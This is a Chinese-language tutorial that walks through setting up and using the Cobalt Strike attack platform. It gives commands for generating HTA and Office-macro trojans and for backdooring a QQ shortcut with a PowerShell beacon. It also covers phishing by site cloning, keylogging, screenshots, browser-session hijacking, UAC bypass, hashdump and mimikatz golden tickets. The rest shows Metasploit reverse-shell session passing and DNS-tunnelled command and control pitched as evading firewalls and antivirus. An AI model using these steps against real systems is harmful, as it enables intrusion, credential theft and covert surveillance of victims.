参考连接:html
https://www.ezreal.net/archives/166.html
http://blog.cobaltstrike.com/category/cobalt-strike-2/ cobaltstrike做者博客
https://wujunze.com/wooyun/drops/Cobalt%20Strike%20之团队服务器的搭建与DNS通信演示.html
cobalt strike从3.0 开始,再也不依赖于Metasploit框架而是做为一个独立的平台使用。本次服务器搭建过程使用cobaltstrike3.8。3.0以前的版本,teamserver搭建过程则须要安装配置msf,这里不在赘述。java
(1)团队服务器上:linux
(VPS的话要写外网ip,而且能够进行端口映射,默认使用50050端口)git
sudo ./teamserver 服务器IP 链接密码
可是这个终端一关闭团队服务器也就关闭了,这里咱们能够把他置于后台来运行:github
nohup ./teamserver IP 密码 &
这样就能够了,这个目录下会生成一个nohup.out的文件web
注意shell
1.内存使用超过%50 没法启动java虚拟机。
2.3.0以前的版本,结束Cobalt Strike的时候也要同时结束全部 msfrpcd 进程,不然下次会启动不了。数据库
(2)使用客户端链接windows
java -jar cobaltstrike.jar
我的在使用过程当中,曾经出现过jvm内存不够的问题,致使服务器运行出错。能够添加swap虚拟内存,具体能够参考个人另一篇博文:linux添加swap浏览器
Cobalt Strike首先须要建立一个Listener,用于监听会话和接受shell链接。依次点击 Cobalt Strike->Listeners ,点击Add即可以建立本身想要的Listener。
(1)Packages
这个选项中包含了多种攻击方式。
HTML Application 生成恶意的HTA木马文件; MS Office Macro 生成office宏病毒文件; Payload Generator 生成各类语言版本的payload; USB/CD AutoPlay 生成利用自动播放运行的木马文件; Windows Dropper 捆绑器,可以对文档类进行捆绑; Windows Executable 生成可执行exe木马; Windows Executable(S) 生成无状态的可执行exe木马
举例
HTML Application 生成一个基于powershell的恶意HTA木马
选中attack–>packages–>HTML Application
选择基于powershell的HTA木马
点击Generate保存录便可生成一个HTA木马
当目标点击HTA木马后便可得到一个beacon
MS Office Macro 生成office宏病毒文件
能够参考:Office Phishing
(2)Web Drive-by(钓鱼攻击)
Manage 对开启的web服务进行管理; Clone Site 克隆网站,能够记录受害者提交的数据; Host File 提供一个文件下载,能够修改Mime信息;Host File 能够配合DNS欺骗实现挂马效果使用 PowerShell Web Delivery 相似于msf 的web_delivery ; Signed Applet Attack 使用java自签名的程序进行钓鱼攻击; Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45如下以及Java 1.7.0_21如下版本; System Profiler 用来获取一些系统信息,好比系统版本,Flash版本,浏览器版本等。 Spear Phish 用来邮件钓鱼的模块
还有其余的模块其实都差很少
如Signed Applet Attack Smart Applet Attack和S.E.T的java攻击向量相同
powershell web-Drive-by制做快捷方式后门:
依次选择attack–>web-Drive-by–>powershell Drive-by URI Path:/ Local Port:80 Listener:saya Laubch生成以后会输出一条语句这条语句在powershell运行会获得一个beacon可是通常人不会这么去运行 随便复制一个软件的快捷方式 这里以QQ快捷方式为例子目标,复制咱们的powershell语句,起始位置清空,粘贴咱们的语句,"应用",当目标点击快捷方式得到beacon
(3)View
Applications 显示受害者机器的应用信息;
Credentials 显示受害者机器的凭证信息,能更方便的进行后续渗透;
Downloads 文件下载;
Event Log 能够看到事件日志,清楚的看到系统的事件,而且团队能够在这里聊天;
Keystrokes 查看键盘记录;
Proxy Pivots 查看代理信息;
Screenshots 查看屏幕截图;
Script Console 在这里能够加载各类脚本以加强功能,脚本地址:https://github.com/rsmudge/cortana-scripts
Targets 查看目标;
Web Log 查看web日志。
Reporting 主要就是出报告用的
(4)Beacon
Beacon能够选择经过DNS仍是HTTP协议出口网络,你甚至能够在使用Beacon通信过程当中切换HTTP和DNS。其支持多主机链接,部署 好Beacon后提交一个要连回的域名或主机的列表,Beacon将经过这些主机轮询。目标网络的防御团队必须拦截全部的列表中的主机才可中断和其网络的 通信。经过种种方式获取shell之后(好比直接运行生成的exe),就可使用beacon了
右击电脑,Interact,则可打开Beacon Console;为了能快速显示结果,能够设置 beacon>sleep 0
1)Browserpivot
用户注入受害者浏览器进程,而后开启HTTP代理,以后就能够登陆受害者登陆的网站了。
使用方式
ps找到浏览器进程PID,如iexplorer.exe,为3452
注入进程:beacon> browserpivot 3452(PID) x64(架构)
注入浏览器进程成功以后,会显示: Browser Pivot HTTP proxy is at: xxx.xxx.xxx.xxx:端口号
设置本地HTTP浏览器代理
固然当被攻击者关闭浏览器的时候,代理也就失效了,关闭此代理可以使用以下命令:browserpivot stop
2)Socks
直接开启socks4a代理,能够经过代理进行内网渗透测试。
开启socksbeacon>socks 9999
这里能够选择其中一台,右键Pivoting->SOCKS Server,则使用此台计算机开启socks代理。
配置proxychains.conf,添加: socks4 127.0.0.1 9999
而后就能够经过proxychains 等各类工具作内网渗透了。
msf中开启隧道使用(在链接数据库的状况下,msf会与本地数据库断开)
msf>setg Proxies socks:192.168.1.103.53790
关闭socks:beacon>socks stop
3)Screenshot
这里的screenshot能够截取受害者必定时间的屏幕截图,操做命令为:
beacon>screenshot [pid] <x86|x64> [run time in seconds]
或者: beacon>screenshot
而后打开View->Screenshots,则能够看到屏幕截图
4)Keylogger键盘记录器
keylogger [pid] <x86|x64>
而后打开View->Keystrokes,则能够看到键盘记录结果
若是不想使用命令行,能够直接选择受害者计算机(可多选)
5)powershell-import
这个功能在后渗透测试中颇有用,能够导入各类powershell渗透框架,好比nishang的powerpreter,直接执行:
beacon> powershell-import
而后在文件浏览器里面选择 Powerpreter.psm1
或者直接执行:
powershell-import [/path/to/local/script.ps1]
进行导入,以后就可使用powerpreter的各类模块了。
要执行某模块直接使用以下命令,好比:beacon> powershell Check-VM
6)kerberos
这里一共有三个模块,分别是:
kerberos_ccache_use 从ccache文件中导入票据
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据
使用mimikatz:
kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE
乌云关于kerberos也有相关文章
http://drops.wooyun.org/tips/7547 内网渗透中的mimikatz
http://drops.wooyun.org/tips/9591 域渗透的金之钥匙
7)BypassUAC
直接执行:
beacon> bypassuac
下面你就能够执行那些须要最高权限的操做了。
这一块在测试Win10的时候并无成功,关于Win10的bypassuac能够参考这篇文章:
使用一个做者修改的powershell脚本 invoke-BypassUAC.ps1
生成一个beacon后门: Windows Executable Listener:reverse_http Output: Windows EXE 上传后门: beacon> cd E: beacon> upload /Users/evi1cg/Desktop/test.exe 加载powershell执行后门: beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1 beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe' 使用那个破了的电脑的beacon读取密码: beacon> sleep 0 beacon> wdigest beacon> hashdump
首先咱们使用msf的reverse_tcp开启监听模式:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.100 lhost => 192.168.1.100 msf exploit(handler) > set lport 5555 lport => 5555 msf exploit(handler) > exploit
以后使用Cobalt Strike建立一个
windows/foreign/reverse_tcp Listener
其中ip为msf的ip地址,端口为msf所监听的端口。
而后选中计算机,右键->Spawn,选择刚刚建立的监听器:
msf中便可看到成功获取了meterpreter会话
你前提须要有一个meterpreter会话 ,而后咱们使用这个模块
exploit/windows/local/payload_inject
功能是注入一个新的payload 到当前的session里面
咱们先在cobaltstrike上建立一个监听器,等会用于接收msf派生的shell,这里我使用
windows/beacon_http/reverse_http
而后在msf中
use exploit/windows/local/payload_inject msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http msf exploit(payload_inject) > set DisablePayloadHandler true DisablePayloadHandler => true msf exploit(payload_inject) > set LHOST 192.168.81.135 LHOST => 192.168.81.135 msf exploit(payload_inject) > set LPORT 8880 LPORT => 8880 msf exploit(payload_inject) > set SESSION 1 SESSION => 1 msf exploit(payload_inject) > exploit [*] Running module against WIN-I6HQQE1E7AG [*] Launching notepad.exe... [*] Preparing 'windows/meterpreter/reverse_http' for PID 3916 msf exploit(payload_inject) >
解释下:
cobaltstrike的监听器咱们使用的是:windows/beacon_http/reverse_http,
因此咱们msf的payload要使用:windows/meterpreter/reverse_http
设置msf本地监听ip和端口为cobaltstrike机器的ip和端口
默认状况下,payload_inject执行以后会在本地产生一个新的handler,
因为咱们已经有了一个,因此不须要在产生一个,因此这里咱们设置
set DisablePayloadHandler true
若是出现错误,PID does not actually exist,能够设置一下注入进程的pid。set pid 进程号
Cobalt Strike有个beacons的功能,它能够经过DNS,HTTP,SMB来传输数据,下面我以DNS为例演示下。经过DNS来控制目标和渗透好处是不开端口,能绕过大部分防火墙,隐蔽性好等等。详细文章可参考这篇博文。
(1)首先咱们的有个域名,而且建立一条A记录指向咱们的metasploit服务器,记住不要用CDN什么的
(2)而后再建立2个或3个ns记录指向刚才建立的A记录。这样咱们就能够经过dns找到咱们的metasploit服务器了。
在Cobalt Strike中咱们添加一个listener
Edit Listener Payload windows/beacon_dns/reverse_http host port 80
HOST填写的是metasplit服务的IP,在点击Save的时候会要求填写你的NS记录,这里写入咱们刚才建立的3个ns记录。接下来建立一个木马测试下。
在attack->packages中找到windows木马生成
Windows Executable
Listener: beacon(DNS)
Output: Windows EXE
Listener选择咱们刚才建立的(有两个,选择有DNS的那个),输出的有exe,带服务的EXE,dll等。
(链接方式以DNS生成的DLL木马能过掉很大一部分杀毒软件)
把生成的DNS.EXE放到虚拟机中运行。
回到Cobalt Strike打开beacons管理器发现有一个服务端响应了咱们
右键是管理菜单,选择sleep设置相应的时间,而后选择interact来到操做界面
传输有dns、dns-txt,http,smb四种,咱们这里用的是DNS就在dns、dns-txt中选择把,前者传送的数据小后者传送的数据多。命令
beacon> mode dns-txt(这里能够用TAB补齐命令的)
这中方式好处在于比较对控制目标主机比较隐蔽,缺点在每次的命令的返回结果比较慢,在过防火墙方面仍是不错的。
拓展